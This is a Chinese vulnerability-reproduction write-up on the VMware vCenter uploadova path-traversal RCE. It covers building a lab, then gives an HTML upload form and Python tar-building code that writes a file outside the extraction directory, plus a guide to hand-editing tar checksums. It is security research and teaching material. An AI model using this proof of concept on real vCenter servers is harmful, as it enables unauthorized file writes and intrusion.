作者: 圖南&Veraxy @ QAX CERT
原文鏈接:https://mp.weixin.qq.com/s/eamNsLY0uKHXtUw_fiUYxQ

好久不見,已經很久沒有寫文章了,但我還有一顆想寫文章的心。漏洞的復現總是沖著最終的目標去不斷嘗試,但是其中肯定會遇到很多疑問。每次遇到疑問都會挖一些坑留著通過學習慢慢填,但因為工作性質變更的原因,很多坑留著也就留著了,填的很少。最近逼著自己去填一點坑,至少作為筆記積累一些知識,然后有機會寫出來講明白它(講真我一直覺得講明白一件事兒比自己明白更難且更耗時間)雖然剛剛填了一個,也算是良好的開始吧,至少讓大家知道我還沒有丟掉安全研究。那么就從vCenter RCE 漏洞開始吧。

對了,文章不包含深入的漏洞分析,因為漏洞分析部分漏洞的發現者已經寫的相當詳細了,看Unauthorized RCE in VMware vCenter這篇文章即可。

0x00 文章導航

避開所有坑快速復現這個漏洞

可瀏覽 0x01 漏洞環境搭建——>按照以下方式搭建一定能成功0x02 漏洞PoC構造——> 按照以下方式構造一定能成功

通過問題引導方式瀏覽

如果你也遇到了類似問題看這里

搭建環境總是失敗

瀏覽 0x01 漏洞環境搭建——>坑1:此方法不要使用7.0.x的iso鏡像,會有一個無解的BUG!

坑2:虛擬機網絡適配器選擇NAT模式無法保存主機名

手動修改上傳數據包導致失敗和使用macOS的tar打包會出問題

瀏覽 0x02 漏洞PoC構造——>坑2:為什么不能直接修改數據包?

為什么會有zip的PoC,原因是什么?(這個沒空研究了,大佬們繼續~)

文章參考

  1. https://en.wikipedia.org/wiki/Tar_(computing)
  2. https://swarm.ptsecurity.com/unauth-rce-vmware/
  3. https://www.gnu.org/software/tar/manual/html_node/Standard.html
  4. https://www.freebsd.org/cgi/man.cgi?query=tar&apropos=0&sektion=5&manpath=FreeBSD+7.0-RELEASE&arch=default&format=html

0x01 漏洞環境搭建

遇到一個漏洞,我總會想這個應用/軟件/產品在生產環境中跑起來是什么樣子的,小一點的還好說,我能想象到一些使用場景,但是大一點的和我接觸不深的領域就比較苦惱了。vCenter默認和ESXi搭配使用,這里強烈建議大家有條件去搭建ESXi和vCenter配合使用。可參考:【Vmware學習教程五】VMware vCenter 6.7安裝及群集配置介紹(一) 但是這兩個都是大家伙,消耗內存非常大,我沒有繼續研究這兩個大家伙配合的情況(qiong,高配電腦太貴了),下面介紹一種相對快速的搭建方式。

按照以下方式搭建一定能成功

第一階段安裝

VMware官網下載VMware-VCSA-all-6.7.0-17028579.iso,一定先下載這個版本不要下載7.0,為啥不能下7.0后面會講到。

然后掛載ISO文件后會看到有個ova文件:

我們要用將它導入到VMware虛擬機安裝,我這里用的VMware Fusion Player 12.0.0:

部署選項選擇Tiny即可:

然后按照引導安裝,網絡配置參考宿主機,設置成相同的網段、相同的網關和DNS,以便后續順利訪問。 假如宿主機IP為192.168.18.2ZoomEye搜索結果),網關和DNS均為192.168.18.1ZoomEye搜索結果),子網掩碼為255.255.255.0ZoomEye搜索結果),那么我們就設置如下:

然后配置SSO用戶密碼、root用戶和密碼,即可完成安裝。 這里有個小坑:root用戶名和密碼不要很復雜,我這里用的root/root。之前設置了有大小寫和特殊字符的密碼死活登錄不上,我以為我自己把密碼忘記了,但是重裝依然不行,暫不明原因,這個不深究了。

然后再繼續即可導入成功,虛擬機會自動啟動進行初始化。

此時查看下虛擬機網絡適配器模式應為橋接模式,不用更改。初始化OK了如下圖:

此時域名為 photon-machine,我們沒有對應的DNS,所以手動修改域名為剛才設置的IP(192.168.18.5(ZoomEye搜索結果))。按“F2”手動修改域名,“enter”進入網絡配置:

進入DNS配置將主機名從默認的photon-machine修改為IP地址(192.168.18.5(ZoomEye搜索結果)):

然后重啟網絡,等一會兒:

回到了剛剛的頁面,這時之前的域名已經變成了IP:

至此第一階段安裝已經完成了,這個過程順利的話5分鐘搞定,主要時間花費在第一次啟動虛擬機初始化的過程。

第二階段安裝

訪問https://192.168.18.5:5480/繼續配置: 選擇設置后用root賬號登陸: 按照向導繼續配置,注意在網絡配置階段把系統名稱修改為IP: 這里又有一個小坑,系統名稱這里應該會檢查是否能真正訪問到這個地址,所以我們使用橋接模式,前面修改主機名為IP地址的操作都是為了這一步能順利,否則這里很容易出現“無法保存主機名”的錯誤。 然后設置SSO密碼,一路下一步,就基本不會再遇到什么坑了。 第二階段開始安裝的時候基本就是純等待,會比較慢,去喝口水、沖杯咖啡、泡個茶、吃個飯、睡一覺吧…… 第二階段安裝完成會打開443端口,就可以正常訪問vCenter也可以正常調漏洞了。

坑1:此方法不要使用7.0.x的iso鏡像,會有一個無解的BUG!

在剛開始復現漏洞的時候,我很自然的選擇了修復版本的前一個受影響版本:7.0.1,但是第二階段安裝無論使用什么域名和什么IP地址作為系統名稱,都會出現無法保存IP設置的錯誤 抱著有問題一定是我的問題的想法重裝、改配置、再重裝、再改配置、再重裝、再改配置。。。都無法解決這個問題。最后我去谷歌搜到了這樣的結果: 翻譯下來就是在瀏覽器中通過5480端口進行網絡配置會報錯無法保存IP設置,(正常安裝應該不會有類似問題)解決方案:無…… 快速搭環境的話繞開7.0.x吧。

坑2:虛擬機網絡適配器選擇NAT模式無法保存主機名

這個坑應該是我配置的問題吧,可能不算普遍但是已經有兩個人遇到了相同問題了,表現為無論如何改主機名都提示無法保存主機名,也嘗試過改其他網絡配置、DNS等,沒有解決,遂使用橋接模式繞開。

0x02 漏洞PoC構造

按照以下方式構造一定能成功

使用HTML構造文件上傳頁面

漏洞剛傳出來還沒有什么細節的時候,我就從一些截圖中注意到了Content-Type: multipart/form-data,不同于傳統的Form表單application/x-www-form-urlencodedmultipart/form-data更適合發送大量二進制數據(文件)或非ASCII數據。關于這兩種Content-Type的詳細信息,可閱讀W3C的相關文檔Forms。 根據漏洞觸發點的代碼可以得知,需要構造一個使用multipart/form-data的文件上傳,并且上傳控件的name應為uploadFile

所以可以直接構造一個上傳控件直接上傳文件到漏洞點:

<html>
  <body>
    <form id="upload-form" action="https://192.168.18.5/ui/vropspluginui/rest/services/uploadova" method="post" enctype="multipart/form-data" >
         <input type="file" id="upload" name="uploadFile" /> <br />
         <input type="submit" value="Upload" />
    </form>
  </body>
</html>

使用代碼構造tar文件

繼續看漏洞觸發點代碼,可以看出真正導致解壓文件到任意路徑的entry.getName()目的是迭代每一個壓縮實體時獲取文件名,可能這樣說并不清楚,舉個例子,文件a.txt和文件b.txt被壓縮到了文件c.tar,在解壓時會分別獲取c.tar中的a.txt文件名和b.txt文件名,拼接到了/tmp/unicorn_ova_dir中。那么若將a.txt換成../a.txt就將a.txt這個文件釋放到了/tmp目錄下。

但是實際上你很難創建一個名為../a.txt的文件并將其壓縮成tar,所以可以通過以下代碼去創建一個壓縮包并釋放到我們想釋放的地方:

import tarfile
import os
from io import BytesIO

with tarfile.open("test.tar", 'w') as tar:
    payload = BytesIO()
    data = 'hacked_by_tunan'
    tarinfo = tarfile.TarInfo(name='../../home/vsphere-ui/hacked_by_tunan')
    f1 = BytesIO(data.encode())
    tarinfo.size = len(f1.read())
    f1.seek(0)
    tar.addfile(tarinfo, fileobj=f1)
    tar.close()
    payload.seek(0)

這里面有兩個坑,小坑1:我們不能直接將文件釋放到根目錄下,因為這個接口只有vsphere-ui用戶的權限,我們只能釋放到vsphere-ui用戶能寫入文件的地方。大坑2:我們不能通過BurpSuite等工具直接改數據包,這個坑我要詳細講一講。

坑2:為什么不能直接修改數據包?

假如我們自己使用Linux打包tar,然后上傳抓包,可以看到這樣的數據包:

明白了漏洞原理,很容易就會想到直接將最開始的文件名改成../的形式去釋放到對應的目錄,但是最終會返回FAILED:

我相信復現漏洞卡在這里的肯定不在少數,為什么會這樣呢?這里需要深入研究一下tar文件了。

tar文件構成

我們不妨使用任意HAX編輯器打開我們的tar壓縮文件看一看:

看起來挺亂的?不慌,按照FreeBSD的文檔和源碼對比分解一下即可,并不難。

眾所周知,tar文件可以將一個或多個文件或目錄打包成一個單獨的文件,作為一個通用的文件格式,需要保證任何系統和軟件都能正確的解釋文件tar文件的每個字節的定義必須明確。

tar文件是由一系列文件對象組成,每個文件對象包含一個512字節的頭實際文件數據。本著如無必要,勿增實體的原則,我們本文只討論上面poc.tar單個文件的頭部分。

頭部分分別包含以下內容:

名稱 釋義 占用字節 字段含義
name 文件名/路徑名 100 以空值結尾的字符串,可以是文件名也可以是路徑名
mode 文件模式 8 八進制數字表示的文件格式,一般為三種不同用戶類型和三種不同權限的組合,常見的有644、777等
uid 用戶ID 8 八進制表示的文件所有者用戶ID
gid 群組ID 8 八進制表示的文件所有者群組ID
size 文件大小 12 八進制表示的文件大小
mtime 文件修改時間 12 從1970年1月1日到文件修改時間的秒數,八進制表示
checksum (劃重點) 頭的校驗和 8 為六個ASCII八進制數字后面跟一個空(0x00)和一個空格(0x20)若計算頭的校驗和,需要先將512字節頭中的校驗和字段的每個字節全部設置為空格(0x20),然后再將所有頭部字節全部相加,輸出為無符號整型,轉換成八進制填充到前6字節中
typeflag 存檔文件類型 1 類型指示作用,早期版本為linkflag,0為常規文件,1為硬鏈接,2為符號連接、3為字符特殊文件等
linkname 鏈接名 100 鏈接文件名,常規文件為空0x00
magic 魔術頭 6 固定為ustar跟一個空格0x20(版本不同會有所不同)
version 版本 2 固定為空格0x20后面跟一個空0x00(版本不同會有所不同)
uname 用戶名 32 以空值結尾的字符串,用來表示用戶名
gname 群組名 32 以空值結尾的字符串,用來表示群組名
devmajor 設備主編號 8 字符設備或塊設備輸入的主要編號
devminor 設備次編號 8 字符設備或塊設備輸入的次要編號
prefix 前綴 155 路徑名前綴,如果第一部分name中的路徑名過長,大于100字節,可以將其以任意/字符拆分,放置于此處。解析器應將其拼接獲取完整路徑名
pad 填充 12 為了湊完整的512字節,填充12個字節的0x00

那么我們可以把上面的文件分解如下:

字段 值(ASCII表示)
name 0x2E 0x2F 0x31 0x2E 0x74 0x78 0x74 0x00…… ./1.txt
mode 0x30 0x30 0x30 0x30 0x36 0x34 0x34 0x00 0000644
uid 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x00 00000000
gid 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x00 00000000
size 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x32 0x30 0x00 00000000020
mtime 0x31 0x34 0x30 0x32 0x31 0x31 0x32 0x34 0x32 0x31 0x30 0x00 14021124210
checksum 0x30 0x31 0x30 0x35 0x36 0x35 0x00 0x20 010565
typeflag 0x30 0
linkname 0x00 0x00…… ——
magic 0x75 0x73 0x74 0x61 0x72 0x20 ustar
version 0x20 0x00
uname 0x72 0x6F 0x6F 0x74 0x00 0x00…… root
gname 0x72 0x6F 0x6F 0x74 0x00 0x00…… root
devmajor 0x00 0x00…… ——
devminor 0x00 0x00…… ——
prefix 0x00 0x00…… ——
pad 0x00 0x00…… ——
filecontent 0x68 0x61 0x63 0x6B 0x65 0x64 0x5F 0x62 0x79 0x5F 0x74 0x75 0x6E 0x61 0x6E 0x00 0x00…… hacked_by_tunan

再次看一下剛才那個文件在HAX編輯器下的截圖是不是瞬間就不那么懵了?

那么詳細說一下剛才劃重點的checksum,這個位置是整個頭部的校驗和,想計算它的值,需要先把這checksum這八位填充為空格(0x20)然后再把整個頭部字節相加成無符號整型,然后再換算成八進制,填充到checksum字段的前六位,第七位和第八位分別填充空(0x00)和空格(0x20),即組成了完整的文件頭部。

所以我讀tar的各種實現的時候可以看到這樣的代碼:

def calc_chksums(buf):
    """Calculate the checksum for a member's header by summing up all
       characters except for the chksum field which is treated as if
       it was filled with spaces. According to the GNU tar sources,
       some tars (Sun and NeXT) calculate chksum with signed char,
       which will be different if there are chars in the buffer with
       the high bit set. So we calculate two checksums, unsigned and
       signed.
    """
    unsigned_chksum = 256 + sum(struct.unpack_from("148B8x356B", buf))
    signed_chksum = 256 + sum(struct.unpack_from("148b8x356b", buf))
    return unsigned_chksum, signed_chksum

# …… #

buf = struct.pack("%ds" % BLOCKSIZE, b"".join(parts))
        chksum = calc_chksums(buf[-BLOCKSIZE:])[0]
        buf = buf[:-364] + bytes("%06o\0" % chksum, "ascii") + buf[-357:]
# …… #

還有這樣的代碼:

unsigned int calculate_checksum(struct tar_t * entry){
    // use spaces for the checksum bytes while calculating the checksum
    memset(entry -> check, ' ', 8);

    // sum of entire metadata
    unsigned int check = 0;
    for(int i = 0; i < 512; i++){
        check += (unsigned char) entry -> block[i];
    }

    snprintf(entry -> check, sizeof(entry -> check), "%06o0", check);

    entry -> check[6] = '\0';
    entry -> check[7] = ' ';
    return check;
}

還有我手寫的計算已生成文件頭部校驗和的代碼

const fs = require('fs');

fs.readFile('test.tar', function (err, data) {
  if (err) throw err;
  const headers = data.slice(0, 512);
  const body = data.slice(512);
  let sum = 8 * 0x20
  for (let i = 0; i < 148; i++)
    sum += headers[i]
  for (let i = 156; i < 512; i++)
    sum += headers[i]
  console.log(sum.toString(8));
})

那么剛才的數據包是真的不能手動改么?非也!同時修改文件名部分和校驗和即可。以下是數學題:

假如我們將./1.txt修改為../1.txt使其進入/tmp目錄下,已知.十六進制表示為0x2E,原校驗和為 八進制 10565。 原始數據包name字段去掉一位空字節(0x00)補上.(0x2E),然后重新計算校驗和。換算 八進制 原校驗和10565十六進制0x1175十六進制0x2E0x11A3,再換算成 八進制 10643……很快啊,新的校驗和出來了!

大膽修改數據包吧!

那么關于在macOS上使用自帶tar軟件打包后修改包失敗問題,也是校驗和錯誤的問題。他們都遵守了相同的規范,自行調試下即可。

0x03 總結&尾巴

這個漏洞從原理到復現都不算難,所以文章本身沒有什么創新的,更像是我的一點研究筆記并想辦法將我研究的內容講出來講明白,或者能幫助大家解答一些之前復現時候的疑問讓大家看了能恍然大明白也算這篇文章的一點貢獻。通過這篇文章,我也想傳遞一種觀點,漏洞研究其實不應該只盯著漏洞本身,漏洞可以擴展的知識點太多了:
偏應用一點:了解這個軟件/組件/中間件是干什么的的、嘗試搭建起來寫點代碼看看他們跑起來的樣子。
偏底層一點:研究漏洞接觸到的相關知識點,可能是Linux/Windows相關的,文件相關的,甚至是某個協議規范、某個算法的實現、某個數據結構、某種設計思想。
偏攻擊一點:漏洞如何EXP化、如何回顯搞定不出網的環境、如何讓內網設備無感知攻擊的存在、如何加載內存馬等。
偏漏洞挖掘:去找一下類似的利用點,或者這個新的軟件/組件/中間件是否能帶給你一些新的漏洞挖掘思路。
…… 總之太多知識和事情可以從一個漏洞擴展出來,學海無涯,技術無邊,學無止境,你我共勉。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1500/